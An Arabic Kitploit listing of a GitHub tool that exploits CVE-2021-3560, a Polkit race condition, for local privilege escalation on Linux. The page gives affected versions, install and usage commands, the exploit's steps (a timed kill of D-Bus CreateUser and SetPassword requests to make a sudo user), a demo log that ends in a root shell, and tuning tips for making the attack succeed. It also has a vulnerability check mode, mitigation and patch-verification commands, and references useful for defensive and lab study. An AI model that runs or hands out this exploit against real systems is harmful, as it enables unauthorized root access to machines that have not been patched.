Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3560_Polkit — استغلال لثغرة CVE-2021-3560 في Polkit لتصعيد الامتيازات محليًا | Kitploit
أدوات/GitHubGitHub/seimupve/cve-2021-3560_polkit
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubseimupve/cve-2021-3560_polkit

CVE-2021-3560_Polkit

استغلال لثغرة CVE-2021-3560 في Polkit لتصعيد الامتيازات محليًا

عرض المستودع
منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-3560 تصعيد الصلاحيات المحلي في Polkit

root@kitploit:~
        .--.  .-"     "-.  .--.
      / .. \/  .-. .-.  \/ .. \
     | |  '|  /   Y   \  |'  | |
     | \   \  \ 0 | 0 /  /   / |
      \ '- ,\.-"`` ``"-./, -' /
       `'-' /_   ^ ^   _\ '-'`
        .--'|  \._   _./  |'--.
      /`    \   \ `~` /   /    `\
     /       '._ '---' _.'       \
    /           '~---~'           \
   /                               \

أداة استغلال آلية لثغرة CVE-2021-3560 التي تؤثر على PolicyKit (Polkit) في أنظمة لينكس.

⚠️ تحذير: هذه الأداة مخصصة للأغراض التعليمية والتدريب على الأمن السيبراني فقط في بيئة مختبرية خاضعة للتحكم. الاستخدام غير المصرح به لهذا الاستغلال على أنظمة لا تملكها يعد غير قانوني.

📋 جدول المحتويات

  • حول الثغرة
  • الأنظمة القابلة للتأثر
  • الميزات
  • المتطلبات الأساسية
  • التثبيت
  • الاستخدام
  • كيف يعمل
  • العرض التوضيحي
  • التخفيف
  • المراجع

🔍 حول الثغرة

CVE-2021-3560 هي ثغرة سباق حالة (race condition) محلية في PolicyKit (polkit) تسمح لمستخدم غير مميز بالحصول على صلاحيات الجذر (root) على أنظمة لينكس القابلة للتأثر.

التفاصيل التقنية

  • معرف CVE: CVE-2021-3560
  • الخطورة: عالية (CVSS 7.8)
  • النوع: سباق حالة (Race Condition) / وقت الفحص-وقت الاستخدام (TOCTOU)
  • الأثر: تصعيد الصلاحيات المحلي (LPE)
  • تاريخ الإفصاح: يونيو 2021

الإصدارات المتأثرة

تؤثر الثغرة على فرعين من Polkit بترقيم إصدارات مختلف:

المصدر الرئيسي (الإصدارات الرسمية)

  • قابل للتأثر: من 0.113 إلى 0.118
  • تقديم الثغرة: Commit bfa5036 (الإصدار 0.113)
  • تم الإصلاح: الإصدار 0.119+

فرع Debian/Ubuntu

  • قابل للتأثر: 0.105-26 وما فوق (حتى 0.118)
  • تقديم الثغرة: Commit f81d021 (الإصدار 0.105-26)
  • غير قابل للتأثر: Debian 10 "buster" (0.105-25)

💻 الأنظمة القابلة للتأثر

📝 ملاحظة: الأنظمة التي تم تطبيق التصحيحات الأمنية عليها (مثل: ubuntu1.1، deb10u1) ليست قابلة للتأثر.

✨ الميزات

  • ✅ كشف تلقائي للثغرة عبر توزيعات متعددة
  • ✅ دعم أنظمة تشغيل متعددة: Debian، Ubuntu، RHEL، CentOS، Fedora، Arch Linux
  • ✅ التحقق من التبعيات للأدوات المطلوبة
  • ✅ وضع الفحص: التحقق من الثغرة دون استغلال
  • ✅ توقيت تكيفي: قياس تلقائي للتوقيت الأمثل لسباق الحالة
  • ✅ مؤشرات التقدم: عرض التقدم في الوقت الفعلي
  • ✅ مخرجات ملوّنة: واجهة واضحة وسهلة القراءة
  • ✅ معالجة أخطاء قوية: رسائل صريحة عند الفشل

📦 المتطلبات الأساسية

إصدار بايثون

  • Python 3.6+ (متوافق مع الأنظمة الأقدم مثل CentOS 8)

تبعيات النظام

يتطلب الاستغلال الأدوات التالية (يتم التحقق منها تلقائيًا):

root@kitploit:~
- dbus-send      # To communicate with D-Bus
- pkexec         # Part of PolicyKit
- id             # To verify user creation
- openssl        # To generate password hash

الخدمة المطلوبة

root@kitploit:~
- accountsservice  # Must be installed and active

🚀 التثبيت

root@kitploit:~
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit

# Make the script executable
chmod +x CVE-2021-3560_Polkit.py

📖 الاستخدام

الوضع 1: فحص الثغرة (--check)

تحقق مما إذا كان النظام قابلاً للتأثر دون تشغيل الاستغلال:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py --check

مثال على المخرجات:

root@kitploit:~
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)

الوضع 2: الاستغلال

إنشاء مستخدم بصلاحيات مميزة:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>

مثال:

root@kitploit:~
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!

الخيارات الكاملة

root@kitploit:~
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]

options:
  -h, --help            Show help
  -u, --username        Username to create
  -p, --password        Password for new user
  -c, --check           Check vulnerability without exploiting

⚙️ كيف يعمل

يستغل هذا الاستغلال سباق حالة (race condition) في PolicyKit أثناء معالجة طلبات D-Bus.

مبدأ الثغرة

  1. طلب D-Bus: يرسل المستخدم طلب D-Bus لإنشاء مستخدم
  2. فحص التفويض: يتحقق Polkit مما إذا كان المستخدم يمتلك الصلاحيات
  3. سباق الحالة: إذا تم إغلاق اتصال D-Bus أثناء التحقق، يتعامل Polkit مع UID كقيمة 0 (root)
  4. إنشاء المستخدم: يتم إنشاء المستخدم بصلاحيات مرتفعة

خطوات الاستغلال

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement                          │
│    └─> Test execution to calibrate timing              │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation                         │
│    └─> Send D-Bus CreateUser request                   │
│    └─> Kill process at precise moment (race condition) │
│    └─> Verify if user created                          │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation                            │
│    └─> Using openssl passwd -6                         │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting                      │
│    └─> Send D-Bus SetPassword request                  │
│    └─> Kill process at precise moment (race condition) │
│    └─> Test login with password                        │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation                                │
│    └─> Login with created account                      │
│    └─> Use sudo if member of sudo group                │
└─────────────────────────────────────────────────────────┘

🎬 العرض التوضيحي

سيناريو استغلال نموذجي

root@kitploit:~
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!

# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!

╔═══════════════════════════════════════════════════════════╗
║       CVE-2021-3560 Polkit Privilege Escalation          ║
╚═══════════════════════════════════════════════════════════╝

[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!

╔═══════════════════════════════════════════════════════════╗
║                  EXPLOIT SUCCESSFUL!                      ║
╚═══════════════════════════════════════════════════════════╝

[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...

# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)

🛡️ التخفيف

لمسؤولي الأنظمة

  1. قم بتحديث PolicyKit:

    root@kitploit:~
    # Debian/Ubuntu
    sudo apt update && sudo apt upgrade policykit-1
    
    # RHEL/CentOS/Fedora
    sudo yum update polkit
    # or
    sudo dnf update polkit
    
  2. تحقق من الإصدار:

    root@kitploit:~
    pkexec --version
    # Must be >= 0.119 (upstream) or patched
    
  3. تحقق من التصحيحات الأمنية:

    root@kitploit:~
    # Debian/Ubuntu
    apt-cache policy policykit-1
    
    # RHEL/CentOS/Fedora
    rpm -q --changelog polkit | grep CVE-2021-3560
    

الحد الأدنى للإصدار الآمن

  • المصدر الرئيسي: ≥ 0.119
  • Ubuntu 20.04: 0.105-26ubuntu1.1 أو أحدث
  • Debian 11: 0.105-31+deb11u1 أو أحدث
  • RHEL 8: polkit-0.115-11.el8_4.1 أو أحدث

📚 المراجع

المقالات والوثائق الرسمية

  • مختبر أمان GitHub: تصعيد الصلاحيات مع Polkit: كيف تحصل على صلاحيات الجذر على لينكس بثغرة عمرها سبع سنوات
  • Red Hat CVE: CVE-2021-3560
  • MITRE CVE: CVE-2021-3560
  • NVD NIST: تفاصيل CVE-2021-3560

موارد TryHackMe

  • غرفة TryHackMe: Polkit CVE-2021-3560 (تدريب)

التصحيحات والإصلاحات

  • GitLab Polkit: إصلاح Commit

📝 ملاحظات مهمة

معدل النجاح

يعتمد الاستغلال على سباق حالة (race condition)، مما يعني:

  • ✅ يعمل عادةً في 1-20 محاولة
  • ⏱️ التوقيت بالغ الأهمية (يتم ضبطه تلقائيًا)
  • 🔄 100 محاولة كحد أقصى لكل خطوة (قابلة للتكوين)
  • 📡 معدل نجاح أفضل عبر SSH بدلاً من وحدة التحكم المحلية

القيود

  • ❌ لا يعمل على الأنظمة المُصَحَّحة
  • ❌ يتطلب أن تكون accountsservice مثبتة ومفعّلة
  • ❌ يجب أن يكون لدى المستخدم وصول إلى D-Bus للنظام
  • ❌ بعض البيئات (الحاويات، أجهزة افتراضية محددة) قد تحظر الاستغلال

الإصدارات المُصَحَّحة (غير قابلة للتأثر)

الإصدارات التالية تتضمن تصحيحات أمنية وليست قابلة للتأثر:

  • 0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, إلخ. (Ubuntu مُصَحَّح)
  • 0.105-26ubuntu2.1, 0.105-26ubuntu2.2, إلخ. (Ubuntu مُصَحَّح)
  • 0.105-31+deb11u1 (Debian 11 مُصَحَّح)
  • polkit-0.115-11.el8_4.1 (RHEL 8 مُصَحَّح)

ملاحظة: إذا كان نظامك يظهر كقابل للتأثر لكن الاستغلال يفشل مع أخطاء PermissionDenied، فغالبًا لأن الإصدار مُصَحَّح. سيكتشف الاستغلال الآن هذه الإصدارات المُصَحَّحة بشكل صحيح.

تصحيح الأخطاء

إذا فشل الاستغلال:

  1. تحقق من إصدار بايثون (إذا حصلت على TypeError: __init__() got an unexpected keyword argument 'capture_output'):

    root@kitploit:~
    python3 --version
    # Should be 3.6 or higher
    # The script is compatible with Python 3.6+
    
  2. تحقق مما إذا كان الإصدار مُصَحَّحًا:

    root@kitploit:~
    pkexec --version
    # If you see ubuntu1.X (where X > 0), it's patched
    
  3. تحقق من accountsservice:

    root@kitploit:~
    systemctl status accounts-daemon
    
  4. تحقق من D-Bus:

    root@kitploit:~
    dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
    
  5. قم بالتشغيل عبر SSH بدلاً من وحدة التحكم المحلية

  6. اضبط التوقيت عن طريق تعديل optimal_timing في الكود

👤 المؤلف

Seimu

📄 الترخيص

هذا المشروع مخصص للأغراض التعليمية فقط. استخدام هذا الكود في أنشطة غير مصرح بها ممنوع منعًا باتًا وقد يؤدي إلى إجراءات قانونية.


⚠️ إخلاء مسؤولية: المؤلف غير مسؤول عن أي إساءة استخدام لهذه الأداة. استخدمها فقط في بيئات الاختبار المصرح بها.

تنزيل الأداة
التوزيعةإصدار Polkitقابلة للتأثر؟
Ubuntu 20.040.105-26ubuntu1✅ نعم
Ubuntu 18.040.105-20❌ لا
Debian testing "bullseye"0.105-31+✅ نعم
Debian 10 "buster"0.105-25❌ لا
RHEL 80.115-11+✅ نعم
RHEL 7< 0.113❌ لا
Fedora 21+0.113+✅ نعم
Fedora 20 وما قبلها< 0.113❌ لا